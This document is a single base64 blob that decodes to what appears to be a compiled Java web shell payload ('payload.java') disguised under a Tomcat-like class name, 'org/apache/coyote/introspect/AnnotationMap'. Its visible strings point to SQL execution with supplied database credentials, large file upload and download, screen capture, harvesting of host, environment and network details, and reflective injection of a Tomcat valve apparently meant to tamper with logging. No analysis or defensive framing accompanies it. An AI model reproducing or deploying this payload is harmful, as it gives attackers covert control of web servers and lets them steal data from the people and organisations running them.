AzEMAeEAZQgDMwEADUN1cnJlbnREaXIgOiAIAzUBAA5DdXJyZW50VXNlciA6IAgDNwEACXVzZXIubmFtZQoClQM5DAM6AEMBAAtnZXRQcm9wZXJ0eQgDPAEADlByb2Nlc3NBcmNoIDogCAM+AQATc3VuLmFyY2guZGF0YS5tb2RlbAgDQAEADmphdmEuaW8udG1wZGlyCgB1A0IMA0MDRAEABmNoYXJBdAEABChJKUMJAXEDRgwDRwCpAQAJc2VwYXJhdG9yCANJAQAQVGVtcERpcmVjdG9yeSA6IAgDSwEACkRvY0Jhc2UgOiAKAAEDTQwDTgBlAQAKZ2V0RG9jQmFzZQgDUAEAC1JlYWxGaWxlIDogCgABA1IMA1MAZQEAC2dldFJlYWxQYXRoCANVAQARc2VydmxldFJlcXVlc3QgOiAIA1cBAARudWxsCgBHA1kMA1oA1wEACGhhc2hDb2RlCgB1A1wMAYwBtwgDXgEAEXNlcnZsZXRDb250ZXh0IDogCANgAQAOaHR0cFNlc3Npb24gOiAIA2IBAAlPc0luZm8gOiAIA2QBACZvcy5uYW1lOiAlcyBvcy52ZXJzaW9uOiAlcyBvcy5hcmNoOiAlcwgDZgEAB29zLm5hbWUIA2gBAApvcy52ZXJzaW9uCANqAQAHb3MuYXJjaAgDbAEACUlQTGlzdCA6IAoAAQNuDANvAGUBAA5nZXRMb2NhbElQTGlzdAsDcQNzBwNyAQAVamF2YS91dGlsL0VudW1lcmF0aW9uDAN0AIEBAAtuZXh0RWxlbWVudAgDdgEAAyA6IAsDcQN4DAN5AYUBAA9oYXNNb3JlRWxlbWVudHMKAAEDewwDfAN9AQAGZ2V0RW52AQARKClMamF2YS91dGlsL01hcDsLA38DgQcDgAEADWphdmEvdXRpbC9NYXAMA4IDgwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwOFA4cHA4YBAA1qYXZhL3V0aWwvU2V0DAOIA4kBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsLA4sDjQcDjAEAEmphdmEvdXRpbC9JdGVyYXRvcgwDjgCBAQAEbmV4dAsDfwB8CwOLA5EMA5IBhQEAB2hhc05leHQBABdMamF2YS91dGlsL0VudW1lcmF0aW9uOwEACmJhc2ljc0luZm8BAAZ0bXBkaXIBAAhsYXN0Q2hhcgEAAUMBAAZlbnZNYXABAA9MamF2YS91dGlsL01hcDsBABRMamF2YS91dGlsL0l0ZXJhdG9yOwEABnNjcmVlbgcDnQEADmphdmEvYXd0L1JvYm90CgOcACgHA6ABABJqYXZhL2F3dC9SZWN0YW5nbGUKA6IDpAcDowEAEGphdmEvYXd0L1Rvb2xraXQMA6UDpgEAEWdldERlZmF1bHRUb29sa2l0AQAUKClMamF2YS9hd3QvVG9vbGtpdDsKA6IDqAwDqQOqAQANZ2V0U2NyZWVuU2l6ZQEAFigpTGphdmEvYXd0L0RpbWVuc2lvbjsJA6wDrgcDrQEAEmphdmEvYXd0L0RpbWVuc2lvbgwDrwD8AQAFd2lkdGgJA6wDsQwDsgD8AQAGaGVpZ2h0CgOfA7QMACYDtQEABShJSSlWCgOcA7cMA7gDuQEAE2NyZWF0ZVNjcmVlbkNhcHR1cmUBADQoTGphdmEvYXd0L1JlY3RhbmdsZTspTGphdmEvYXd0L2ltYWdlL0J1ZmZlcmVkSW1hZ2U7CAO7AQADcG5nCgO9A78HA74BABVqYXZheC9pbWFnZWlvL0ltYWdlSU8MA8ADwQEAF2NyZWF0ZUltYWdlT3V0cHV0U3RyZWFtAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07CgO9A8MMAOkDxAEAWyhMamF2YS9hd3QvaW1hZ2UvUmVuZGVyZWRJbWFnZTtMamF2YS9sYW5nL1N0cmluZztMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07KVoBAAVyb2JvdAEAEExqYXZhL2F3dC9Sb2JvdDsBAAJhcwEAHkxqYXZhL2F3dC9pbWFnZS9CdWZmZXJlZEltYWdlOwEAAmJzAQAHZXhlY1NxbAEACkV4Y2VwdGlvbnMIA80BAAlkYkNoYXJzZXQIA88BAAZkYlR5cGUIA9EBAAZkYkhvc3QIA9MBAAZkYlBvcnQIA9UBAApkYlVzZXJuYW1lCAPXAQAKZGJQYXNzd29yZAgD2QEACGV4ZWNUeXBlCAPKCgB1A9wMACYD3QEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWCAPfAQAsY29tLm1pY3Jvc29mdC5zcWxzZXJ2ZXIuamRiYy5TUUxTZXJ2ZXJEcml2ZXIIA+EBAB9vcmFjbGUuamRiYy5kcml2ZXIuT3JhY2xlRHJpdmVyCAPjAQAYb3JhY2xlLmpkYmMuT3JhY2xlRHJpdmVyCAPlAQAYY29tLm15c3FsLmNqLmpkYmMuRHJpdmVyCAPnAQAVY29tLm15c3FsLmpkYmMuRHJpdmVyCAPpAQAVb3JnLnBvc3RncmVzcWwuRHJpdmVyCAPrAQAPb3JnLnNxbGl0ZS5KREJDCAPtAQAFbXlzcWwIA+8BAA1qZGJjOm15c3FsOi8vCAPxAQABOggD8wEAdT91c2VTU0w9ZmFsc2Umc2VydmVyVGltZXpvbmU9VVRDJnplcm9EYXRlVGltZUJlaGF2aW9yPWNvbnZlcnRUb051bGwmbm9EYXRldGltZVN0cmluZ1N5bmM9dHJ1ZSZjaGFyYWN0ZXJFbmNvZGluZz11dGYtOAgD9QEABm9yYWNsZQgD9wEAEmpkYmM6b3JhY2xlOnRoaW46QAgD+QEABTpvcmNsCAP7AQAJc3Fsc2VydmVyCAP9AQARamRiYzpzcWxzZXJ2ZXI6Ly8IA/8BAApwb3N0Z3Jlc3FsCAQBAQASamRiYzpwb3N0Z3Jlc3FsOi8vCAQDAQAGc3FsaXRlCAQFAQAMamRiYzpzcWxpdGU6CAQHAQAFamRiYzoKAAEECQwECgQLAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247CgQNBAkHBA4BABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyCwQQBBIHBBEBABNqYXZhL3NxbC9Db25uZWN0aW9uDAQTBBQBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7CAQWAQAGc2VsZWN0CAQYAQADb2sKCwQaBBwHBBsBABJqYXZhL3NxbC9TdGF0ZW1lbnQMBB0EHgEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsLBCAEIgcEIQEAEmphdmEvc3FsL1Jlc3VsdFNldAwEIwQkAQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsLBCYEKAcEJwEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhDAQpANcBAA5nZXRDb2x1bW5Db3VudAgEKwEAAiVzCwQmBC0MBC4BtwEADWdldENvbHVtbk5hbWUKAAEEMAwEMQBDAQAMYmFzZTY0RW5jb2RlCwQgBDMMBDQBtwEACWdldFN0cmluZwsEIAQ2DAOOAYULBCAAoQsEGgChCwQQAKELBBoEOwwEPAImAQANZXhlY3V0ZVVwZGF0ZQgEPgEAClF1ZXJ5IE9LLCAKAW4EQAwBegRBAQAbKEkpTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CARDAQAOIHJvd3MgYWZmZWN0ZWQIBEUBAANubyAIBEcBAAcgRGJ0eXBlCARJAQBITm8gcGFyYW1ldGVyIGRiVHlwZSxkYkhvc3QsZGJQb3J0LGRiVXNlcm5hbWUsZGJQYXNzd29yZCxleGVjVHlwZSxleGVjU3FsAQAHY2hhcnNldAEACmNvbm5lY3RVcmwBAAZkYkNvbm4BABVMamF2YS9zcWwvQ29ubmVjdGlvbjsBAAlzdGF0ZW1lbnQBABRMamF2YS9zcWwvU3RhdGVtZW50OwEACXJlc3VsdFNldAEAFExqYXZhL3NxbC9SZXN1bHRTZXQ7AQAIbWV0YURhdGEBABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAJY29sdW1uTnVtAQALYWZmZWN0ZWROdW0IBFcBAAppbnZhbGlkYXRlAQANYmlnRmlsZVVwbG9hZAgEWgEADGZpbGVDb250ZW50cwgEXAEACHBvc2l0aW9uCgH2BF4MACYEXwEAFihMamF2YS9sYW5nL1N0cmluZztaKVYHBGEBABhqYXZhL2lvL1JhbmRvbUFjY2Vzc0ZpbGUIBGMBAAJydwoEYARlDAAmBGYBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYKBGAEaAwEaQGqAQAEc2VlawoEYAFQCgRgAKEBABpMamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlOwEAD2JpZ0ZpbGVEb3dubG9hZAgEbwEABG1vZGUIBHEBAAtyZWFkQnl0ZU51bQgEcwEACGZpbGVTaXplCgB1BHUMAYwEdgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwgA1goBtAR5DAGMBHoBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsKAbQEfAwEfQDXAQAIaW50VmFsdWUKAosAZwoCiwSADASBBIIBAARza2lwAQAEKEopSgoAAQSEDASFBIYBAAZjb3B5T2YBAAcoW0JJKVtCCASIAQAHbm8gbW9kZQEAEXJlYWRCeXRlTnVtU3RyaW5nAQAOcG9zaXRpb25TdHJpbmcBAAhyZWFkRGF0YQoEjQSPBwSOAQAOamF2YS9sYW5nL01hdGgMBJAEkQEAA21pbgEABShJSSlJAQAIb3JpZ2luYWwBAAluZXdMZW5ndGgBAAthcnJheU9mQnl0ZQgElgEADGphdmEudmVyc2lvbgoAdQSYDASZBJoBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CQABBJwMABoAEwgEngEAEGphdmEubGFuZy5TeXN0ZW0IBKABAAZnZXRlbnYJAAEEogwAGwATCASkAQANamF2YS51dGlsLk1hcAEACmpyZVZlcnNpb24JAAEEpwwAHAATCASpAQAWamF2YS5zcWwuRHJpdmVyTWFuYWdlcgoATQSrDASsBK0BABFnZXREZWNsYXJlZEZpZWxkcwEAHCgpW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKBK8BkgcEsAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkCASyAQAGcml2ZXJzCQABBLQMAB0AEwgEtgEADmphdmEudXRpbC5MaXN0CgSvBLgMBLkASwEAB2dldFR5cGUKBLsEvQcEvAEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QMBL4EvwEADXNldEFjY2Vzc2libGUBAAQoWilWCgSvAHwHBMIBAA5qYXZhL3V0aWwvTGlzdAsEwQOHCQABBMUMAB4AEwgExwEAD2phdmEuc3FsLkRyaXZlcgcEyQEAD2phdmEvc3FsL0RyaXZlcgcEywEAFGphdmEvdXRpbC9Qcm9wZXJ0aWVzCgTKACgIBM4BAAR1c2VyCgMpALoIBNEBAAhwYXNzd29yZAsEyATTDATUBNUBAAdjb25uZWN0AQA/KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvUHJvcGVydGllczspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAIdXNlck5hbWUBAApjb25uZWN0aW9uAQAGZmllbGRzAQAaW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAdkcml2ZXJzAQAQTGphdmEvdXRpbC9MaXN0OwEABmRyaXZlcgEAEUxqYXZhL3NxbC9Ecml2ZXI7AQALZHJpdmVySW5mb3MBAApwcm9wZXJ0aWVzAQAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzOwoE5ATmBwTlAQAZamF2YS9uZXQvTmV0d29ya0ludGVyZmFjZQwE5wMtAQAUZ2V0TmV0d29ya0ludGVyZmFjZXMKBOQE6QwE6gMtAQAQZ2V0SW5ldEFkZHJlc3NlcwcE7AEAFGphdmEvbmV0L0luZXRBZGRyZXNzCgTrBO4MBO8AZQEADmdldEhvc3RBZGRyZXNzCwTBAvELBMEE8gwDAQTzAQAVKClbTGphdmEvbGFuZy9PYmplY3Q7CgJBBPUMAIgE9gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmlwTGlzdAEAEW5ldHdvcmtJbnRlcmZhY2VzAQAQbmV0d29ya0ludGVyZmFjZQEAG0xqYXZhL25ldC9OZXR3b3JrSW50ZXJmYWNlOwEADWluZXRBZGRyZXNzZXMBAAtpbmV0QWRkcmVzcwEAFkxqYXZhL25ldC9JbmV0QWRkcmVzczsBAAJpcAgDUwgFAQEAG25vIG1ldGhvZCBnZXRSZWFsUGF0aE1ldGhvZAgFAwEAFnNlcnZsZXRDb250ZXh0IGlzIE51bGwBABFnZXRSZWFsUGF0aE1ldGhvZAEACXJldE9iamVjdAoBcQUHDAUIAYUBAAZkZWxldGUBAAFmAQABeAEAAmZzAQBLKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwUOAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAB2NsYXNzZXMBAAJvMQEADnBhcmFtZXRlckNsYXNzCgBNBRQMBRUAUQEAEWdldERlY2xhcmVkTWV0aG9kCgBNBRcMBRgASwEADWdldFN1cGVyY2xhc3MBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsKAE0FHAwFHQUeAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACWZpZWxkTmFtZQgFIQEAB2NvbnRleHQKAAEFIwwFGQUaCAUlAQAJZ2V0UGFyZW50CgABBScMAG8FDAgFKQEAC2dldFBpcGVsaW5lCAUrAQAIZ2V0Rmlyc3QIBS0BAAxnZXRDb25kaXRpb24IBS8BAAxzZXRDb25kaXRpb24IBTEBAAdGdWNrTG9nCAUzAQAHZ2V0TmV4dAgFNQEAGW9yZy5hcGFjaGUuY2F0YWxpbmEuVmFsdmUKAE0FNwwAXAU4AQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAEmFwcGxpY2F0aW9uQ29udGV4dAEACWNvbnRhaW5lcgEACWFycmF5TGlzdAEACHBpcGVsaW5lAQAFdmFsdmUBAAljb25kaXRpb24BABJzZXRBdHRyaWJ1dGVNZXRob2QBAARuYW1lAQAFYnl0ZXMKAAEFQwwEMQVEAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAA3NyYwEAA29mZgEAA2VuZAEAA2RzdAEAB2xpbmVtYXgBAAlkb1BhZGRpbmcBAAZiYXNlNjQBAAJzcAEABHNsZW4BAAJzbAEAAmRwAQADc2wwAQADc3AwAQADZHAwAQAEYml0cwEABGRsZW4BAAJiMAEAAmIxAQAMYmFzZTY0RGVjb2RlCgJBBVkMAkQFWgEABihbSUkpVgcFXAEAImphdmEvbGFuZy9JbGxlZ2FsQXJndW1lbnRFeGNlcHRpb24IBV4BAC1JbnB1dCBieXRlIGFycmF5IGhhcyB3cm9uZyA0LWJ5dGUgZW5kaW5nIHVu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